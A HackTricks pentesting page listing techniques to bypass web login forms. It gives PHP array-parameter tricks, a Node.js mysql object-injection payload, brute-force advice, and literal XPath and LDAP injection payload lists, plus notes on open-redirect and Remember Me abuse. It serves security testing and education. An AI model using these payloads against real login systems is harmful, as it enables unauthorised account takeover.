128 lines
8.3 KiB
Markdown
128 lines
8.3 KiB
Markdown
# Login Bypass
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
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[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
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{% embed url="https://www.rootedcon.com/" %}
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## **Bypass regular login**
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If you find a login page, here you can find some techniques to try to bypass it:
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* Check for **comments** inside the page (scroll down and to the right?)
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* Check if you can **directly access the restricted pages**
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* Check to **not send the parameters** (do not send any or only 1)
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* Check the **PHP comparisons error:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
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* **Change content type to json** and send json values (bool true included)
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* If you get a response saying that POST is not supported you can try to send the **JSON in the body but with a GET request** with `Content-Type: application/json`
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* Check nodejs potential parsing error (read [**this**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
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* Nodejs will transform that payload to a query similar to the following one: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` which makes the password bit to be always true.
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* If you can send a JSON object you can send `"password":{"password": 1}` to bypass the login.
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* Remember that to bypass this login you still need to **know and send a valid username**.
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* **Adding `"stringifyObjects":true`** option when calling `mysql.createConnection` will eventually b**lock all unexpected behaviours when `Object` is passed** in the parameter.
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* Check credentials:
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* [**Default credentials**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) of the technology/platform used
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* **Common combinations** (root, admin, password, name of the tech, default user with one of these passwords).
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* Create a dictionary using **Cewl**, **add** the **default** username and password (if there is) and try to brute-force it using all the words as **usernames and password**
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* **Brute-force** using a bigger **dictionary (**[**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)**
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### SQL Injection authentication bypass
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[Here you can find several tricks to bypass the login via **SQL injections**](../sql-injection/#authentication-bypass).
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In the following page you can find a **custom list to try to bypass login** via SQL Injections:
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{% content-ref url="sql-login-bypass.md" %}
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[sql-login-bypass.md](sql-login-bypass.md)
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{% endcontent-ref %}
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### No SQL Injection authentication bypass
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[Here you can find several tricks to bypass the login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
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As the NoSQL Injections requires to change the parameters value, you will need to test them manually.
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### XPath Injection authentication bypass
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[Here you can find several tricks to bypass the login via **XPath Injection.**](../xpath-injection.md#authentication-bypass)
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```
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' or '1'='1
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' or ''='
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' or 1]%00
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' or /* or '
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' or "a" or '
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' or 1 or '
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' or true() or '
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'or string-length(name(.))<10 or'
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'or contains(name,'adm') or'
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'or contains(.,'adm') or'
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'or position()=2 or'
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admin' or '
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admin' or '1'='2
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```
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### LDAP Injection authentication bypass
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[Here you can find several tricks to bypass the login via **LDAP Injection.**](../ldap-injection.md#login-bypass)
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```
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*
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*)(&
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*)(|(&
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pwd)
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*)(|(*
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*))%00
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admin)(&)
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pwd
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admin)(!(&(|
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pwd))
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admin))(|(|
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```
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### Remember Me
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If the page has "**Remember Me**" functionality check how is it implemented and see if you can abuse it to **takeover other accounts**.
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### Redirects
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Pages usually redirects users after login, check if you can alter that redirect to cause an [**Open Redirect**](../open-redirect.md). Maybe you can steal some information (codes, cookies...) if you redirect the user to your web.
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## Other Checks
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* Check if you can **enumerate usernames** abusing the login functionality.
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* Check if **auto-complete** is active in the password/**sensitive** information **forms** **input:** `<input autocomplete="false"`
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<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
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[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
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{% embed url="https://www.rootedcon.com/" %}
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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